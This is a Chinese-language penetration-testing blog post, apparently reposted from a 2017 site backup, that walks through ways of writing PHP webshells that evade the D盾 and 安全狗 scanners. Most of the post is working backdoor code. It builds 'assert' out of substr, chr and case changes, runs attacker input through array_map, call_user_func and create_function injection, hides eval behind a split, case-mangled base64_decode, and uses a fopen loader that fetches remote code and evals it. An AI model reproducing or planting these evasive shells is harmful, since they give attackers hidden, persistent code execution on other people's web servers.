对于Php Shell Bypass思路总结

对于Php Shell Bypass思路总结

Prat 0 自白
Prat 1 起源
Prat 2 一句话Bypass
         思路一:字符串截取+回调
                  思路小结
         思路二:字符串截取(变种)+回调
                  思路小节
         思路三:chr()+小写转换+回调(变种)
                  思路小结
         思路四:create_function函数
                  思路小结
         思路五:函数回调
                  array_map()
                  call_user_func_array()
                  call_user_func()
                  register_shutdown_function()
                  思路小结
最后总结
Prat 3 Php大马Bypass
         思路1:base64函数分割+大小写
         思路2:fopen函数以及php_curl函数
                  fopen()
                  php_curl()

Prat 0 自白

在初入Web渗透测试的时候,发现Waf如同无法跨过的鸿沟,每一次学习就是对鸿沟的填充。

借用某大牛对曾经年少的自己说的一句话:

自己真正学到的才是自己的财富!只是一味的盗版,不懂得学习的那叫小学生!

自己新成立了一个团队,名为OneT挺开心的,觉得放出一些自己的学习经验跟想法是及其不错的。

本文文字偏多,如果你潜心看完,相信一句话bypass,对你来说根本不是什么难事。

本文通过三部分来写:起源,一句话Bypass, Php大马Bypass

因为Bypass安全狗可以说是非常简单的,所以本文主要目标以D盾作为绕过基础。

顺便一提:本文中的某个思路或许已经被公布,但是我阅历比较少,并不知道,如果有重复的,可以提出来,贴上地址~

我自己公布的就算了,毕竟这是一篇总结与扩展。

Prat 1 起源

1:建立一个明确的目标

一句话原型:代码执行函数(参数接收);

所以我们不管怎么处理,怎么去优化,最后的代码让他变成原型就可以了。

在学习bypass之前,我建议去了解一下php,这是bypass的开端。

2:大胆的想法

有了目标肯定是远远不够的,不能局限前人的思路,要有自己开阔的思路,可以从前人的思路变种,也可以自己思考。

3:实现自己的目标跟想法

既然以及了解了自己的目标,那么就该一步步的实现它,例如这个函数被查杀了,那么换一个函数呢?换一个函数不行那么换一个写法呢?条条大路通罗马,总有一个是可以的。

Prat 2 一句话Bypass

Php Shell Bypass

D盾当时行为库:


首先看一句话原型:

assert($_GET[zxsq-anti-bbcode-‘x’]);

思路一:字符串截取+回调

首先看一下介绍

>Substr() //返回字符串的一部分

>Array_map() //将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新值的数组

这个思路其实在博客当中就有提过,不过是不过D盾的

<?php
         $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
         $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
         $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
         $ss = $a.$b.$c;
         $d  = $ss[zxsq-anti-bbcode-0].$ss[zxsq-anti-bbcode-2].$ss[zxsq-anti-bbcode-2]; //ass
         $dd = $ss[zxsq-anti-bbcode-5].$ss[zxsq-anti-bbcode-1].$ss[zxsq-anti-bbcode-3]; //ert
         $x = $d.$dd;
$x($_POST[zxsq-anti-bbcode-'x']);
?>

首先看思路原型:

>$a = a     //从字符串的第0个字符开始截取,向右截取1个字符

$b = rst   //从字符串的第17个字符开始截取,向右截取3个字符

$c = de           //从字符串的第17个字符开始截取,向右截取3个字符

>$ss = arstde //为三个变量的拼接的来

那么过程就很好理解:

>$d = ass   //分别截取$ss的第0,2,2字符

$dd = ert  //分别截取$ss的第5,1,3字符

最后拼接成assert

Php Shell Bypass

但是这样只能过狗,不能过D盾



之前就已经说了,这思路行不通,那么在原有的思路在扩展一下呢?

我们来把substr函数返回的assert封装成新的方法,在调用看看效果如何

function test($D)   //定义一个名为test的函数,并使用$D接收参数
{
         $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
         $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
         $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
         $ss = $a.$b.$c;
         $d  = $ss[zxsq-anti-bbcode-0].$ss[zxsq-anti-bbcode-2].$ss[zxsq-anti-bbcode-2]; //ass
         $dd = $ss[zxsq-anti-bbcode-5].$ss[zxsq-anti-bbcode-1].$ss[zxsq-anti-bbcode-3]; //ert
         $x = $d.$dd;
         $x($D);   //assert执行接收的参数
}
test($_GET[zxsq-anti-bbcode-'x']);  //assert($_GET[zxsq-anti-bbcode-‘x’]);
Php Shell Bypass



虽然还是被杀,不过发现级别已经降低为二级了,他现在杀的只不过是变量而已,也就是

$x($D);

为什么杀呢?因为D盾中不允许这样做,不管你有没有危害都会拦截





可以看见,我里面$d($dd);什么都没有,但是他还是报二级了。

接下来怎么处理呢?还是从原来思路上扩展,既然不允许那就换一个思路,我们采用回调

function test($aa)
{
         $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
         $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
         $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
         $ss = $a.$b.$c;
         $d  = $ss[zxsq-anti-bbcode-0].$ss[zxsq-anti-bbcode-2].$ss[zxsq-anti-bbcode-2]; //ass
         $dd = $ss[zxsq-anti-bbcode-5].$ss[zxsq-anti-bbcode-1].$ss[zxsq-anti-bbcode-3]; //ert
         $x = $d.$dd;
         return $x;   //返回assert
}
$test = test();    //把test()函数存入test变量中
array_map($test,array($_GET[zxsq-anti-bbcode-'x']));  //array_map函数回调
Php Shell Bypass

但是发现D盾还是报二级了。



不过这次报的就很好处理了,可以看见,他报的array_map参数里面的东西很可疑,可疑

其实有个很好的办法解决,那就是加个赋值,例如:

array_map($test,array($_GET[zxsq-anti-bbcode-‘x’]));我们改为array_map($DD =$test,$d = array($_GET[zxsq-anti-bbcode-‘x’]));

我们在测一下

Php Shell Bypass


还是报二级,不过别着急,我们把array($_GET[zxsq-anti-bbcode-‘x’])先拿出来进行一个赋值在里面在一个赋值

看看会怎么样。

Php Shell Bypass





可以发现D盾出奇的不拦截了。

Php Shell Bypass




可以正常使用。

思路小结

在字符串返回思路行不通后,可以使用回调来进行一个绕过,在函数里面赋值可以用来解决许多可疑变量。

思路二:字符串截取(变种)+回调

这次思路其实属于换汤不换药。

写之前首先我们要熟悉一下Ascii码表

Php Shell Bypass





我们不需要知道这么多,够我们用的就好

> 97  =  a

115  =  s

101 = e

114 = r

116 = t

我们可以写的风骚一点

$a = chr(substr("97115101114116",0,2));
$b = chr(substr("97115101114116",2,3));
$c = chr(substr("97115101114116",2,3));
$d = chr(substr("97115101114116",5,3));
$e = chr(substr("97115101114116",8,3));
$f = chr(substr("97115101114116",11,3));
$x = $a.$b.$c.$d.$e.$f;
$x($_GET[zxsq-anti-bbcode-'x']);

这样当然是不会过D盾的,不过安全狗肯定可以过的。

我们可以依葫芦画瓢用回调来处理。

最终成果:

<?php
function test($aa)
{
                $a = chr(substr("97115101114116",0,2));
                $b = chr(substr("97115101114116",2,3));
                $c = chr(substr("97115101114116",2,3));
                $d = chr(substr("97115101114116",5,3));
                $e = chr(substr("97115101114116",8,3));
                $f = chr(substr("97115101114116",11,3));
                $x = $a.$b.$c.$d.$e.$f;
                return $x;
}
$test = test();
$ddd =array($_GET[zxsq-anti-bbcode-'x']);
array_map($D = $test,$DD = $ddd );
?>
Php Shell Bypass



可以正常使用,并且过了D盾。

当然,我们可以写的更简单一点。

<?php
function test($aa)
{
$a =  chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
return $a;
}
$test = test();
$ddd =array($_GET[zxsq-anti-bbcode-'x']);
array_map($D = $test,$DD = $ddd );
?>

连截取都不要了,但是一样可以正常使用,并且过了D盾。


Php Shell Bypass

思路小节

整个过程就跟思路一一摸一样,只不过思路一是直接返回的字符,而这边却加了一层chr而已。

所以可以被称之为变种,换汤不换药。

思路三:chr()+小写转换+回调(变种)

看完思路二,发现还可以根据chr再次扩展。

<?php
/*
97  =  a    65        =        A
115 =  s        83        =        S
101 =  e        69        =        E
114 =  r        82        =        R
116 =  t        84        =        T
*/
                $a = chr(65).chr(83).chr(83);//ASS
                $b = chr(69).chr(82).chr(84);//ERT
                $c = strtolower($a.$b);//assert
                $aa = array($_GET[zxsq-anti-bbcode-'x']);
                array_map($D = $c,$DD = $aa );
//strtolower(): 该函数将传入的字符串参数所有的字符都转换成小写,并以小定形式放回这个字
//strtoupper(): 该函数的作用同strtolower函数相反,是将传入的字符参数的字符全部转换成大
?>

还是换汤不换药,不过用了大写的Ascii码。

然后使用strtolower函数转换成小写。


Php Shell Bypass

思路小结

你可以发现,我是一环环变种的,思路三变种思路二,思路二变种思路一。

可能有人会问我为什么要写变种,其实你可以侧面的理解为,我这是在告诉你:一种思路你可以通过千变万化的思路来扩展。

思路四:create_function函数

看完简单的思路,我们来看一下深一点的思路。

array_flip()//用于反转/交换数组中所有的键名以及它们关联的键值,如果反转成功,则返回反转后的数组。如果失败,则返回 NULL。

首先我们要了解一下create_function函数是如何进行代码注入的(因为这不是本文需要讲的东西,大家可以上百度搜。)

<?php
$a=array(";}$_GET[zxsq-anti-bbcode-x];/*"=>"1");
$b=array_flip($a);
$c = $b[zxsq-anti-bbcode-1];
create_function('$args',$c); 
?>

具体我就不讲了,等你百度完也就差不多知道思路了。

思路小结

有时候可以借着php中一些能做代码执行的函数进行处理就能琢磨出来一大堆Bypass。


Php Shell Bypass

思路五:函数回调

之前几种思路都有触及到函数回调,于是决定独立分一波来讲。

array_map()

function a(){
         return 'assert';
}
$a=a();
$aa = array($_GET[zxsq-anti-bbcode-'x']);
array_map($a,$a=$aa);

array_map函数我就不过多的说了,毕竟前面也用到了许多。

call_user_func_array()

function a(){
         return 'assert';
}
$a=a();
$aa = array($_GET[zxsq-anti-bbcode-'x']);
call_user_func_array($a,$a=$aa);

call_user_func_array可以说作用性跟array_map差不多,不过还是有一些不同。

call_user_func()

function a(){
         return 'assert';
}
$a=a();
$aa=$_GET[zxsq-anti-bbcode-'x'];
call_user_func($a,$a=$aa);

用P牛博客上的一句话来说这算是回调后门的老祖宗了。

register_shutdown_function()

$aa=$_GET[zxsq-anti-bbcode-'x'];
register_shutdown_function('assert',$a=$aa);

这个函数其实我也不是很明确,从p牛上看到的,不过博客上的一句话已经不能用了,偷下来做了下处理

思路小结

其实原理都差不多,如果你看不懂,没关系,去看一遍php,回来你就会发现这些是多么的简单,单单一个函数回调就能构造无数轮子。

丢上P牛讲解回调函数轮子的地址

最后总结

一句话的思路千变万化,一个函数可以扩展无数思路。

你只需要大胆的假设,然后大胆的去做就可以了。

Prat 3 Php大马Bypass

思路1:base64函数分割+大小写

其实这个思路在上篇bypass文章我就已经做好了铺垫,因为是通用性,所以藏着到这篇文章来发。

<?php
$a = 'base64编码过后';
$c = base64_decode($a);
eval($d = $c);
?>

可以发现,这样D盾是报二级的。所以我们可以稍微处理下。

$x="BaSe64";
$b="_deCOde";
$c=$x.$b; //base64_decode
eval($d = $c('base64编码过后'));

明眼人就可以发现,其实我并没有改变多少代码,只是把Base64函数进行分割,然后大小写而已。

从而达到了过D盾的效果。如果没有进行大小写的话是被报二级的。

我想这应该是waf的缺陷导致bypass的原因。

Php Shell Bypass

思路2:fopen函数以及php_curl函数

fopen()

fopen在之前的文章也有提到过,不过太长,我这里简化一下。

$handle = fopen('http://127.0.0.1/bh/test.txt', 'r');
    $content = '';
    while(false != ($a = fread($handle, 8080))){
        $content .= $a;
    }
                print(eval($a=$content));
fclose($handle);

php_curl()

其实跟fopen函数差不多,不过需要开启特定的函数,有人提过fopen似乎也要,不过在我仅有的shell中我并没发现出错。

因为都差不多,所以我这里也就不详细说了。提一下就好。例子等有机会再写。

总结

用之前的话来说,条条大路通罗马,需要的只是耐心。

需要的只是大胆的假设,需要的只是实践的行动。

话不多说,明白就好。

或许文章看着并不长,案例也不多,也就十几个。

不过我希望看完这篇文章能开启你bypass之路的大门。

也能让你明白bypass并不是很困难。

当然,如果用心读的话(一边动手一边学习)。

此文章来源于
https://www.ddosi.com/2017/11/13/bypass/
2018年以前网站服务器的备份,当时决定不要了,删了所有东西,现在还原一下(有些图片挂了,永远找不回来了,sorry)from